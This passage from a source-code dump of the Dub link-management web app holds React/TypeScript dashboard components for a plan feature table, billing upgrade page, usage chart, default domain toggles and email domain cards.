COMPARE_FEATURE_ICONS[category];\n\n  return (\n    <div className=\"w-full overflow-x-hidden [container-type:inline-size]\">\n      <div className=\"flex items-center justify-between border-b border-neutral-200\">\n        <button\n          type=\"button\"\n          className=\"group flex grow items-center gap-2 px-5 py-4 text-left\"\n          onClick={() => setIsExpanded((e) => !e)}\n        >\n          <Icon className=\"size-4 text-neutral-600\" />\n          <h3 className=\"text-base font-medium text-black\">{category}</h3>\n          <ChevronRight\n            className={cn(\n              \"size-4 text-neutral-400 transition-[transform,color] group-hover:text-neutral-500 [&_*]:stroke-2\",\n              isExpanded && \"rotate-90\",\n            )}\n          />\n        </button>\n        {href && (\n          <Link\n            href={href}\n            target=\"_blank\"\n            className=\"mr-5 cursor-alias text-xs font-medium text-neutral-500 underline decoration-dotted underline-offset-2\"\n          >\n            Learn more ↗\n          </Link>\n        )}\n      </div>\n      <motion.div\n        initial={false}\n        animate={{ height: isExpanded ? \"auto\" : 0 }}\n        className={cn(\n          \"overflow-clip transition-opacity\",\n          !isExpanded && \"opacity-0\",\n        )}\n        inert={!isExpanded}\n      >\n        <table\n          className={cn(\n            \"grid grid-cols-4 overflow-hidden text-sm text-neutral-800 [&_strong]:font-medium\",\n\n            // Mobile\n            \"max-lg:w-[calc(400cqw+3*32px)] max-lg:translate-x-[calc(-1*var(--index)*(100cqw+32px))] max-lg:gap-x-8 max-lg:transition-transform\",\n          )}\n          style={\n            {\n              \"--index\": mobilePlanIndex,\n            } as CSSProperties\n          }\n        >\n          <thead className=\"sr-only\">\n            <tr>\n              {plans.map(({ plan }) => (\n                <th key={plan.name}>{plan.name}</th>\n              ))}\n            </tr>\n          </thead>\n          <tbody className=\"contents\">\n            {features.map(({ check, text, href }, idx) => {\n              const As = href ? \"a\" : \"span\";\n\n              return (\n                <tr key={idx} className=\"contents bg-white\">\n                  {plans.map(({ plan }) => {\n                    const id = plan.name.toLowerCase();\n                    const isChecked =\n                      typeof check === \"boolean\"\n                        ? check\n                        : check === undefined ||\n                          (check[id] ?? check.default ?? false);\n\n                    return (\n                      <td\n                        key={id}\n                        className={cn(\n                          \"flex items-center gap-2 border-b border-neutral-200 bg-white px-5 py-4\",\n                          !isChecked && \"text-neutral-300\",\n                        )}\n                      >\n                        {isChecked ? (\n                          <Check className=\"size-3 text-neutral-500\" />\n                        ) : (\n                          <span className=\"w-3\">&bull;</span>\n                        )}\n                        <As\n                          href={href}\n                          target=\"_blank\"\n                          {...(href && {\n                            className:\n                              \"cursor-help underline decoration-dotted underline-offset-2\",\n                          })}\n                        >\n                          {typeof text === \"function\"\n                            ? (text({\n                                id,\n                                plan,\n                              }) as React.ReactNode)\n                            : text}\n                        </As>\n                      </td>\n                    );\n                  })}\n                </tr>\n              );\n            })}\n          </tbody>\n        </table>\n      </motion.div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/upgrade/page.tsx",
    "content": "import { MaxWidthWrapper } from \"@dub/ui\";\nimport { WorkspaceBillingUpgradePageClient } from \"./page-client\";\n\nexport default function WorkspaceBillingUpgrade() {\n  return (\n    <MaxWidthWrapper className=\"grid gap-8\">\n      <WorkspaceBillingUpgradePageClient />\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/billing/usage-chart.tsx",
    "content": "import useDomains from \"@/lib/swr/use-domains\";\nimport useFolders from \"@/lib/swr/use-folders\";\nimport { useUsageTimeseries } from \"@/lib/swr/use-usage-timeseries\";\nimport { BarList } from \"@/ui/analytics/bar-list\";\nimport { FolderIcon } from \"@/ui/folders/folder-icon\";\nimport SimpleDateRangePicker from \"@/ui/shared/simple-date-range-picker\";\nimport {\n  AnimatedSizeContainer,\n  BlurImage,\n  EmptyState,\n  Filter,\n  LoadingSpinner,\n  Modal,\n  ToggleGroup,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { Bars, TimeSeriesChart, XAxis, YAxis } from \"@dub/ui/charts\";\nimport { CursorRays, Folder, Globe2, Hyperlink } from \"@dub/ui/icons\";\nimport { cn, formatDate, GOOGLE_FAVICON_URL, nFormatter } from \"@dub/utils\";\nimport NumberFlow, { NumberFlowGroup } from \"@number-flow/react\";\nimport {\n  ComponentProps,\n  Fragment,\n  useCallback,\n  useDeferredValue,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\n\nconst BAR_COLORS = [\n  \"text-blue-500\",\n  \"text-indigo-500\",\n  \"text-red-500\",\n  \"text-emerald-500\",\n  \"text-purple-500\",\n  \"text-sky-500\",\n  \"text-orange-500\",\n  \"text-lime-500\",\n  \"text-pink-500\",\n];\n\nconst RESOURCES = [\"links\", \"events\"] as const;\nconst resourceEmptyStates: Record<\n  (typeof RESOURCES)[number],\n  ComponentProps<typeof EmptyState>\n> = {\n  links: {\n    icon: Hyperlink,\n    title: \"Links Created\",\n    description: \"No short links have been created in the selected date range.\",\n  },\n  events: {\n    icon: CursorRays,\n    title: \"Events Tracked\",\n    description: \"No events have been tracked in the selected date range.\",\n  },\n};\n\nexport function UsageChart() {\n  const { queryParams, searchParamsObj } = useRouterStuff();\n\n  const {\n    usage,\n    loading,\n    isValidating,\n    activeResource,\n    start,\n    end,\n    interval,\n    groupBy,\n  } = useUsageTimeseries();\n\n  // Get filter values from URL params\n  const folderId = searchParamsObj.folderId;\n  const domain = searchParamsObj.domain;\n\n  // Fetch folders and domains for filter options\n  const { folders } = useFolders();\n  const { allDomains: domains } = useDomains({ ignoreParams: true });\n\n  // Filter handlers\n  const onSelect = (key: string, value: string) => {\n    queryParams({\n      set: { [key]: value },\n      scroll: false,\n    });\n  };\n\n  const onRemove = (key: string) => {\n    queryParams({\n      del: key,\n      scroll: false,\n    });\n  };\n\n  const onRemoveAll = () => {\n    queryParams({\n      del: [\"folderId\", \"domain\"],\n      scroll: false,\n    });\n  };\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"folderId\",\n        icon: Folder,\n        label: \"Folder\",\n        options:\n          folders?.map((folder) => ({\n            value: folder.id,\n            icon: (\n              <FolderIcon\n                folder={folder}\n                shape=\"square\"\n                iconClassName=\"size-3\"\n              />\n            ),\n            label: folder.name,\n          })) ?? [],\n      },\n      {\n        key: \"domain\",\n        icon: Globe2,\n        label: \"Domain\",\n        options:\n          domains?.map((domain) => ({\n            value: domain.slug,\n            label: domain.slug,\n            icon: (\n              <BlurImage\n                src={`${GOOGLE_FAVICON_URL}${domain.slug}`}\n                alt={domain.slug}\n                className=\"h-4 w-4 rounded-full\"\n                width={16}\n                height={16}\n              />\n            ),\n          })) ?? [],\n      },\n    ],\n    [activeResource, folders, domains],\n  );\n\n  // Active filters\n  const activeFilters = useMemo(() => {\n    const filters: { key: string; value: string }[] = [];\n    if (folderId) filters.push({ key: \"folderId\", value: folderId });\n    if (domain) filters.push({ key: \"domain\", value: domain });\n    return filters;\n  }, [folderId, domain]);\n\n  const chartData = useMemo(\n    () =>\n      usage?.map(({ date, value, groups }) => ({\n        date: new Date(date),\n        values: {\n          usage: value,\n          ...Object.fromEntries(groups.map((group) => [group.id, group.usage])),\n        },\n      })),\n    [usage, activeResource],\n  );\n\n  const groupsMeta = useMemo(\n    () =>\n      Object.fromEntries(\n        usage?.[0]?.groups?.map((g, idx) => [\n          g.id,\n          {\n            name: g.name,\n            colorClassName: BAR_COLORS[idx % BAR_COLORS.length],\n            total: usage.reduce(\n              (sum, { groups }) =>\n                sum + (groups.find(({ id }) => id === g.id)?.usage ?? 0),\n              0,\n            ),\n          },\n        ]) ?? [],\n      ),\n    [usage],\n  );\n\n  const totalUsage = useMemo(\n    () => usage?.reduce((sum, { value }) => sum + value, 0) ?? 0,\n    [usage],\n  );\n\n  // Map dates to indices for O(1) hover lookups\n  const usageIndexByDate = useMemo(() => {\n    if (!usage) return null;\n    const map = new Map<number, number>();\n    usage.forEach((u, index) => {\n      map.set(new Date(u.date).getTime(), index);\n    });\n    return map;\n  }, [usage]);\n\n  const [hoveredDate, setHoveredDate] = useState<Date | null>(null);\n\n  // Throttle hover updates to animation frames to avoid excessive rerenders\n  const hoverRafRef = useRef<number | null>(null);\n  const handleHoverDateChange = useCallback((date: Date | null) => {\n    if (hoverRafRef.current !== null) return;\n\n    hoverRafRef.current = window.requestAnimationFrame(() => {\n      hoverRafRef.current = null;\n      setHoveredDate(date);\n    });\n  }, []);\n\n  useEffect(\n    () => () => {\n      if (hoverRafRef.current !== null) {\n        window.cancelAnimationFrame(hoverRafRef.current);\n      }\n    },\n    [],\n  );\n\n  const hoveredGroupsMeta = useMemo(() => {\n    if (!hoveredDate || !usage || !usageIndexByDate) return null;\n\n    const index = usageIndexByDate.get(hoveredDate.getTime());\n    if (index == null) return null;\n\n    const dayUsage = usage[index];\n\n    return Object.fromEntries(\n      dayUsage.groups.map((g, idx) => [\n        g.id,\n        {\n          name: g.name,\n          colorClassName: BAR_COLORS[idx % BAR_COLORS.length],\n          total: g.usage,\n        },\n      ]),\n    );\n  }, [hoveredDate, usage, usageIndexByDate]);\n\n  const hoveredTotalUsage = useMemo(() => {\n    if (!hoveredDate || !usage || !usageIndexByDate) return null;\n\n    const index = usageIndexByDate.get(hoveredDate.getTime());\n    if (index == null) return null;\n\n    return usage[index].value;\n  }, [hoveredDate, usage, usageIndexByDate]);\n\n  // Defer updates to the breakdown list below so tooltip + chart hover stay snappy\n  const deferredHoveredGroupsMeta = useDeferredValue(hoveredGroupsMeta);\n  const deferredHoveredTotalUsage = useDeferredValue(hoveredTotalUsage);\n\n  const allZeroes = useMemo(\n    () => chartData?.every(({ values }) => values.usage === 0),\n    [chartData],\n  );\n\n  const sortedGroupEntries = useMemo(\n    () =>\n      groupsMeta\n        ? Object.entries(groupsMeta).sort((a, b) => b[1].total - a[1].total)\n        : [],\n    [groupsMeta],\n  );\n\n  const [showGroupsModal, setShowGroupsModal] = useState(false);\n\n  const hasMoreGroups = sortedGroupEntries.length > 12;\n\n  const barListTabLabel =\n    groupBy === \"folderId\"\n      ? \"Folder\"\n      : groupBy === \"domain\"\n        ? \"Domain\"\n        : \"Group\";\n\n  const barListData = useMemo(\n    () =>\n      sortedGroupEntries.map(([id, meta]) => {\n        let href: string | undefined;\n\n        if (groupBy === \"folderId\" || groupBy === \"domain\") {\n          const hasFilter = searchParamsObj?.[groupBy] === id;\n          href = queryParams({\n            ...(hasFilter\n              ? { del: groupBy }\n              : {\n                  set: {\n                    [groupBy]: id,\n                  },\n                }),\n            getNewPath: true,\n          }) as string;\n        }\n\n        return {\n          icon: (\n            <div\n              className={cn(\n                \"size-2 rounded-full bg-current\",\n                meta.colorClassName,\n              )}\n            />\n          ),\n          title: meta.name || \"Unsorted\",\n          href,\n          value: meta.total,\n        };\n      }),\n    [sortedGroupEntries, groupBy, queryParams, searchParamsObj],\n  );\n\n  const maxGroupTotal = useMemo(\n    () =>\n      sortedGroupEntries.length > 0\n        ? Math.max(...sortedGroupEntries.map(([, meta]) => meta.total))\n        : 0,\n    [sortedGroupEntries],\n  );\n\n  return (\n    <div className=\"space-y-4 pt-4 sm:pt-8\">\n      <div className=\"flex flex-col gap-3\">\n        <div className=\"flex flex-col gap-2 px-4 md:flex-row md:items-center md:justify-between md:px-0\">\n          <div className=\"flex w-full flex-col gap-2 md:w-fit md:flex-row md:items-center\">\n            <Filter.Select\n              className=\"h-9 w-full md:w-fit\"\n              filters={filters}\n              activeFilters={activeFilters}\n              onSelect={onSelect}\n              onRemove={onRemove}\n            />\n            <SimpleDateRangePicker\n              presets={[\"7d\", \"30d\", \"90d\", \"1y\", \"mtd\", \"qtd\", \"ytd\"]}\n              values={{ start, end, interval }}\n              className=\"h-9 w-full md:w-fit\"\n            />\n          </div>\n          <ToggleGroup\n            options={[\n              { value: \"folderId\", label: \"Folder\" },\n              { value: \"domain\", label: \"Domain\" },\n            ]}\n            selected={groupBy}\n            selectAction={(id) => queryParams({ set: { groupBy: id } })}\n            className=\"w-full rounded-lg border-transparent bg-neutral-100 p-0.5 md:w-fit\"\n            optionClassName=\"flex-1 justify-center text-xs text-neutral-800 data-[selected=true]:text-neutral-800 px-3 sm:px-5 py-2 leading-none\"\n            indicatorClassName=\"bg-white border-neutral-200 rounded-md\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          {activeFilters.length > 0 && (\n            <Filter.List\n              filters={filters}\n              activeFilters={activeFilters}\n              onSelect={onSelect}\n              onRemove={onRemove}\n              onRemoveAll={onRemoveAll}\n              className=\"px-4 md:px-0\"\n            />\n          )}\n        </AnimatedSizeContainer>\n      </div>\n\n      {/* Chart */}\n      <div\n        className={cn(\"h-64 transition-opacity\", isValidating && \"opacity-50\")}\n      >\n        {chartData && chartData.length > 0 ? (\n          !allZeroes ? (\n            <TimeSeriesChart\n              key={activeResource}\n              type=\"bar\"\n              data={chartData}\n              series={[\n                {\n                  id: \"usage\",\n                  valueAccessor: (d) => d.values.usage,\n                  colorClassName: \"text-violet-500\",\n                  isActive: false,\n                },\n                ...(usage?.[0]?.groups?.map((group) => ({\n                  id: group.id,\n                  valueAccessor: (d) => d.values[group.id],\n                  colorClassName: groupsMeta[group.id]?.colorClassName,\n                  isActive: true,\n                })) ?? []),\n              ]}\n              tooltipClassName=\"p-0 overflow-hidden max-w-64\"\n              onHoverDateChange={handleHoverDateChange}\n              tooltipContent={(d) => {\n                const topGroups = usage?.[0]?.groups\n                  ?.filter((group) => (d.values[group.id] ?? 0) > 0)\n                  .sort((a, b) => (d.values[b.id] ?? 0) - (d.values[a.id] ?? 0))\n                  .slice(0, 8);\n\n                return (\n                  <>\n                    <div className=\"flex items-center justify-between gap-4 px-4 py-3 text-xs\">\n                      <span className=\"text-content-emphasis font-semibold\">\n                        {formatDate(d.date, { month: \"short\" })}\n                      </span>\n                      <span className=\"text-content-default font-medium\">\n                        {nFormatter(d.values.usage, { full: true })}\n                      </span>\n                    </div>\n                    {Boolean(topGroups?.length) && (\n                      <div className=\"border-border-subtle relative grid grid-cols-[minmax(0,1fr),min-content] gap-x-6 gap-y-2 overflow-hidden border-t px-4 py-3 text-xs\">\n                        {topGroups?.map((group) => {\n                          const value = d.values[group.id];\n                          if (!value) return null;\n\n                          return (\n                            <Fragment key={group.id}>\n                              <div className=\"flex items-center gap-2\">\n                                <div\n                                  className={cn(\n                                    \"size-2 shrink-0 rounded-full bg-current\",\n                                    groupsMeta[group.id]?.colorClassName,\n                                  )}\n                                />\n                                <span\n                                  className={cn(\n                                    \"min-w-0 truncate text-neutral-600\",\n                                    !group.name && \"text-content-subtle\",\n                                  )}\n                                >\n                                  {group.name || \"Unsorted\"}\n                                </span>\n                              </div>\n                              <span className=\"text-right font-medium text-neutral-900\">\n                                {nFormatter(value, { full: true })}\n                              </span>\n                            </Fragment>\n                          );\n                        })}\n                      </div>\n                    )}\n                  </>\n                );\n              }}\n            >\n              <XAxis highlightLast={false} />\n              <YAxis showGridLines tickFormat={nFormatter} />\n              <Bars />\n            </TimeSeriesChart>\n          ) : (\n            <div className=\"flex size-full items-center justify-center\">\n              <EmptyState {...resourceEmptyStates[activeResource]} />\n            </div>\n          )\n        ) : (\n          <div className=\"flex size-full items-center justify-center text-sm text-neutral-500\">\n            {loading ? <LoadingSpinner /> : <p>Failed to load usage data</p>}\n          </div>\n        )}\n      </div>\n\n      <div className=\"relative\">\n        <div\n          className={cn(\n            \"flex flex-col transition-opacity\",\n            isValidating && \"opacity-50\",\n          )}\n        >\n          <NumberFlowGroup>\n            {sortedGroupEntries.length > 0 ? (\n              <>\n                {sortedGroupEntries.slice(0, 12).map(([id, meta]) => {\n                  const hoveredMeta = deferredHoveredGroupsMeta?.[id];\n                  const displayTotal = hoveredMeta?.total ?? meta.total;\n\n                  return (\n                    <button\n                      key={id}\n                      type=\"button\"\n                      onClick={() => queryParams({ set: { [groupBy]: id } })}\n                      disabled={!id}\n                      className=\"flex items-center justify-between gap-4 rounded-lg px-3 py-2 text-xs font-medium enabled:hover:bg-black/[0.03] enabled:active:bg-black/5\"\n                    >\n                      <div className=\"flex items-center gap-2\">\n                        <div\n                          className={cn(\n                            \"size-2 rounded-full bg-current\",\n                            meta.colorClassName,\n                          )}\n                        />\n                        <span\n                          className={cn(\n                            \"text-content-emphasis\",\n                            !meta.name && \"text-content-subtle\",\n                          )}\n                        >\n                          {meta.name || \"Unsorted\"}\n                        </span>\n                      </div>\n                      <div className=\"flex items-center gap-2 tabular-nums\">\n                        <NumberFlow\n                          value={displayTotal}\n                          className=\"text-content-default text-right font-medium\"\n                        />\n                        {usage && (\n                          <span className=\"text-content-muted min-w-12 text-right font-medium\">\n                            <NumberFlow\n                              value={\n                                (displayTotal /\n                                  ((deferredHoveredTotalUsage ?? totalUsage) ||\n                                    1)) *\n                                100\n                              }\n                              format={{ maximumFractionDigits: 0 }}\n                            />\n                            %\n                          </span>\n                        )}\n                      </div>\n                    </button>\n                  );\n                })}\n              </>\n            ) : (\n              <>\n                {loading ? (\n                  [...Array(3)].map((_, idx) => (\n                    <div\n                      key={idx}\n                      className=\"flex animate-pulse items-center justify-between gap-4 px-3 py-2 text-xs font-medium\"\n                    >\n                      <div className=\"flex items-center gap-2\">\n                        <div className=\"size-2 rounded-full bg-neutral-200\" />\n                        <div className=\"h-4 w-32 min-w-0 rounded-md bg-neutral-200\" />\n                      </div>\n                      <div className=\"flex items-center gap-2\">\n                        <div className=\"h-4 w-8 rounded-md bg-neutral-200\" />\n                        <div className=\"h-4 w-6 rounded-md bg-neutral-200\" />\n                      </div>\n                    </div>\n                  ))\n                ) : (\n                  <p className=\"text-content-subtle flex size-full items-center justify-center py-5 text-sm\">\n                    Failed to load usage data\n                  </p>\n                )}\n              </>\n            )}\n          </NumberFlowGroup>\n        </div>\n\n        {hasMoreGroups && (\n          <div className=\"absolute bottom-0 left-0 flex w-full items-end\">\n            <div className=\"pointer-events-none absolute bottom-0 left-0 h-20 w-full bg-gradient-to-t from-white\" />\n            <button\n              type=\"button\"\n              onClick={() => setShowGroupsModal(true)}\n              className=\"z-10 mx-auto rounded-md border border-neutral-200 bg-white px-2.5 py-1 text-sm text-neutral-950 hover:bg-neutral-100 active:border-neutral-300\"\n            >\n              View all\n            </button>\n          </div>\n        )}\n      </div>\n\n      {hasMoreGroups && (\n        <Modal showModal={showGroupsModal} setShowModal={setShowGroupsModal}>\n          <div className=\"w-full max-w-md bg-white\">\n            <div className=\"border-b border-neutral-200 px-5 py-4\">\n              <h3 className=\"text-sm font-semibold text-neutral-900\">\n                Usage breakdown by {barListTabLabel.toLowerCase()}\n              </h3>\n            </div>\n            <div className=\"max-h-[70vh] overflow-hidden\">\n              <BarList\n                tab={barListTabLabel.toLowerCase()}\n                unit={activeResource}\n                data={barListData}\n                maxValue={maxGroupTotal}\n                barBackground=\"bg-violet-100\"\n                hoverBackground=\"hover:bg-gradient-to-r hover:from-violet-50 hover:to-transparent hover:border-violet-500\"\n                setShowModal={setShowGroupsModal}\n              />\n            </div>\n          </div>\n        </Modal>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/default/page-client.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useDefaultDomains from \"@/lib/swr/use-default-domains\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DomainCardTitleColumn } from \"@/ui/domains/domain-card-title-column\";\nimport { UpgradeRequiredToast } from \"@/ui/shared/upgrade-required-toast\";\nimport { Logo, Switch, TooltipContent } from \"@dub/ui\";\nimport {\n  Amazon,\n  CalendarDays,\n  ChatGPT,\n  Figma,\n  GitHubEnhanced,\n  GoogleEnhanced,\n  Spotify,\n} from \"@dub/ui/icons\";\nimport { DUB_DOMAINS } from \"@dub/utils\";\nimport Link from \"next/link\";\nimport { useEffect, useState } from \"react\";\nimport { toast } from \"sonner\";\n\nfunction DubDomainsIcon(domain: string) {\n  switch (domain) {\n    case \"chatg.pt\":\n      return ChatGPT;\n    case \"git.new\":\n      return GitHubEnhanced;\n    case \"spti.fi\":\n      return Spotify;\n    case \"cal.link\":\n      return CalendarDays;\n    case \"amzn.id\":\n      return Amazon;\n    case \"ggl.link\":\n      return GoogleEnhanced;\n    case \"fig.page\":\n      return Figma;\n    default:\n      return Logo;\n  }\n}\n\nexport function DefaultDomains() {\n  const { id, plan, role, flags } = useWorkspace();\n  const [submitting, setSubmitting] = useState(false);\n  const [defaultDomains, setDefaultDomains] = useState<string[]>([]);\n  const { defaultDomains: initialDefaultDomains, mutate } = useDefaultDomains();\n\n  const permissionsError = clientAccessCheck({\n    action: \"domains.write\",\n    role,\n    customPermissionDescription: \"manage default domains\",\n  }).error;\n\n  useEffect(() => {\n    if (initialDefaultDomains) {\n      setDefaultDomains(initialDefaultDomains);\n    }\n  }, [initialDefaultDomains]);\n\n  return (\n    <div className=\"grid gap-5\">\n      <div className=\"rounded-lg bg-neutral-100 p-4\">\n        <p className=\"text-sm text-neutral-500\">\n          Leverage default branded domains from Dub for specific links.{\" \"}\n          <Link\n            href=\"https://dub.co/help/article/default-dub-domains\"\n            target=\"_blank\"\n            className=\"underline transition-colors hover:text-neutral-800\"\n          >\n            Learn more.\n          </Link>\n        </p>\n      </div>\n\n      <div className=\"mt-2 grid grid-cols-1 gap-3\">\n        {DUB_DOMAINS.filter(\n          (domain) => domain.slug !== \"dub.link\" || !flags?.noDubLink,\n        ).map(({ slug, description }) => {\n          return (\n            <div\n              key={slug}\n              className=\"flex items-center justify-between gap-4 rounded-xl border border-neutral-200 bg-white p-5\"\n            >\n              <DomainCardTitleColumn\n                domain={slug}\n                icon={DubDomainsIcon(slug)}\n                description={description}\n                defaultDomain\n              />\n              <Switch\n                disabled={submitting}\n                disabledTooltip={\n                  permissionsError ||\n                  (slug === \"dub.link\" && plan === \"free\" ? (\n                    <TooltipContent\n                      title=\"You can only use dub.link on a Pro plan and above. Upgrade to Pro to use this domain.\"\n                      cta=\"Upgrade to Pro\"\n                      href={`/${slug}/upgrade`}\n                    />\n                  ) : undefined)\n                }\n                checked={defaultDomains?.includes(slug)}\n                fn={() => {\n                  const oldDefaultDomains = defaultDomains.slice();\n                  const newDefaultDomains = defaultDomains.includes(slug)\n                    ? defaultDomains.filter((d) => d !== slug)\n                    : [...defaultDomains, slug];\n\n                  setDefaultDomains(newDefaultDomains);\n                  setSubmitting(true);\n                  fetch(`/api/domains/default?workspaceId=${id}`, {\n                    method: \"PATCH\",\n                    body: JSON.stringify({\n                      defaultDomains: newDefaultDomains.filter(\n                        (d) => d !== null,\n                      ),\n                    }),\n                  })\n                    .then(async (res) => {\n                      if (res.ok) {\n                        toast.success(\n                          `${slug} ${newDefaultDomains.includes(slug) ? \"added to\" : \"removed from\"} default domains.`,\n                        );\n                        await mutate();\n                      } else {\n                        const { error } = await res.json();\n                        if (error.message.includes(\"Upgrade to Pro\")) {\n                          toast.custom(() => (\n                            <UpgradeRequiredToast\n                              title=\"You've discovered a Pro feature!\"\n                              message={error.message}\n                            />\n                          ));\n                        } else {\n                          toast.error(error.message);\n                        }\n                        setDefaultDomains(oldDefaultDomains);\n                      }\n                    })\n                    .finally(() => setSubmitting(false));\n                }}\n              />\n            </div>\n          );\n        })}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/default/page.tsx",
    "content": "import { DefaultDomains } from \"./page-client\";\n\nexport default function DefaultDomainsPage() {\n  return <DefaultDomains />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/email/constants.ts",
    "content": "import { EmailDomainStatus } from \"@dub/prisma/client\";\n\nexport const EMAIL_DOMAIN_STATUS_TO_VARIANT: Record<EmailDomainStatus, string> =\n  {\n    verified: \"success\",\n    failed: \"error\",\n    pending: \"pending\",\n    temporary_failure: \"warning\",\n    not_started: \"neutral\",\n  } as const;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/email/email-domain-card.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EmailDomainProps } from \"@/lib/types\";\nimport { DomainCardTitleColumn } from \"@/ui/domains/domain-card-title-column\";\nimport { useAddEditEmailDomainModal } from \"@/ui/modals/add-edit-email-domain-modal\";\nimport { useDeleteEmailDomainModal } from \"@/ui/modals/delete-email-domain-modal\";\nimport { Delete, ThreeDots } from \"@/ui/shared/icons\";\nimport { GetDomainResponseSuccess } from \"@dub/email/resend/types\";\nimport {\n  Button,\n  Envelope,\n  PenWriting,\n  Plug2,\n  Popover,\n  Refresh2,\n  StatusBadge,\n  Tooltip,\n  useInViewport,\n} from \"@dub/ui\";\nimport { capitalize, cn, fetcher, formatDate } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { useEffect, useRef, useState } from \"react\";\nimport useSWRImmutable from \"swr/immutable\";\nimport { EMAIL_DOMAIN_STATUS_TO_VARIANT } from \"./constants\";\nimport { EmailDomainDnsRecords } from \"./email-domain-dns-records\";\n\ninterface EmailDomainCardProps {\n  domain: EmailDomainProps;\n}\n\nexport function EmailDomainCard({ domain }: EmailDomainCardProps) {\n  const { id: workspaceId } = useWorkspace();\n  const [showDetails, setShowDetails] = useState(false);\n  const [openPopover, setOpenPopover] = useState(false);\n  const domainRef = useRef<HTMLDivElement>(null);\n  const isVisible = useInViewport(domainRef, { defaultValue: true });\n\n  const { isValidating, mutate, data } =\n    useSWRImmutable<GetDomainResponseSuccess>(\n      workspaceId &&\n        isVisible &&\n        `/api/email-domains/${domain.slug}/verify?workspaceId=${workspaceId}`,\n      fetcher,\n    );\n\n  const { addEditEmailDomainModal, setIsOpen: setShowEditModal } =\n    useAddEditEmailDomainModal({\n      emailDomain: {\n        id: domain.id,\n        slug: domain.slug,\n      },\n    });\n\n  const { DeleteEmailDomainModal, setShowDeleteEmailDomainModal } =\n    useDeleteEmailDomainModal({\n      id: domain.id,\n      slug: domain.slug,\n    });\n\n  // Automatically open DNS records section if status is not verified\n  useEffect(() => {\n    if (data?.status && data.status !== \"verified\") {\n      setShowDetails(true);\n    }\n  }, [data?.status]);\n\n  return (\n    <>\n      {addEditEmailDomainModal}\n      <DeleteEmailDomainModal />\n      <div\n        ref={domainRef}\n        className=\"hover:drop-shadow-card-hover group rounded-xl border border-neutral-200 bg-white transition-[filter]\"\n      >\n        <div className=\"p-4 sm:p-5\">\n          <div className=\"flex w-full items-center justify-between gap-2\">\n            <DomainCardTitleColumn\n              domain={domain.slug}\n              icon={Envelope}\n              description={`Added on ${formatDate(domain.createdAt)}`}\n            />\n\n            <div className=\"flex items-center gap-2.5\">\n              {!isValidating && data?.status ? (\n                <StatusBadge\n                  variant={EMAIL_DOMAIN_STATUS_TO_VARIANT[data.status]}\n                  className=\"h-8 rounded-lg\"\n                >\n                  {capitalize(data.status.replace(/_/g, \" \"))}\n                </StatusBadge>\n              ) : (\n                <div className=\"h-8 min-w-20 animate-pulse rounded-lg bg-neutral-200\" />\n              )}\n\n              <Button\n                variant=\"secondary\"\n                className=\"border-border-subtle h-8 rounded-lg p-2\"\n                icon={<Plug2 className=\"size-3.5 shrink-0\" />}\n                onClick={() => setShowDetails((s) => !s)}\n              />\n\n              <Tooltip content=\"Refresh\">\n                <Button\n                  icon={\n                    <Refresh2\n                      className={cn(\n                        \"size-3.5 shrink-0 -scale-100 transition-colors [animation-duration:0.25s]\",\n                        isValidating && \"animate-spin text-neutral-500\",\n                      )}\n                    />\n                  }\n                  variant=\"secondary\"\n                  className=\"h-8 rounded-lg p-2 text-neutral-600\"\n                  onClick={() => mutate()}\n                />\n              </Tooltip>\n\n              <Popover\n                content={\n                  <div className=\"w-full sm:w-48\">\n                    <div className=\"grid gap-px p-2\">\n                      <Button\n                        text=\"Edit\"\n                        variant=\"outline\"\n                        onClick={() => {\n                          setOpenPopover(false);\n                          setShowEditModal(true);\n                        }}\n                        icon={<PenWriting className=\"h-4 w-4\" />}\n                        className=\"h-9 justify-start px-2 font-medium\"\n                      />\n                      <Button\n                        text=\"Delete\"\n                        variant=\"danger-outline\"\n                        onClick={() => {\n                          setOpenPopover(false);\n                          setShowDeleteEmailDomainModal(true);\n                        }}\n                        icon={<Delete className=\"h-4 w-4\" />}\n                        className=\"h-9 justify-start px-2 font-medium\"\n                      />\n                    </div>\n                  </div>\n                }\n                align=\"end\"\n                openPopover={openPopover}\n                setOpenPopover={setOpenPopover}\n              >\n                <Button\n                  variant=\"outline\"\n                  className=\"h-8 rounded-lg px-2\"\n                  icon={<ThreeDots className=\"size-3.5 shrink-0\" />}\n                  onClick={() => setOpenPopover(!openPopover)}\n                />\n              </Popover>\n            </div>\n          </div>\n\n          <motion.div\n            initial={false}\n            animate={{ height: showDetails ? \"auto\" : 0 }}\n            className=\"overflow-hidden\"\n          >\n            {showDetails && <EmailDomainDnsRecords domain={domain} />}\n          </motion.div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/email/email-domain-dns-records.tsx",
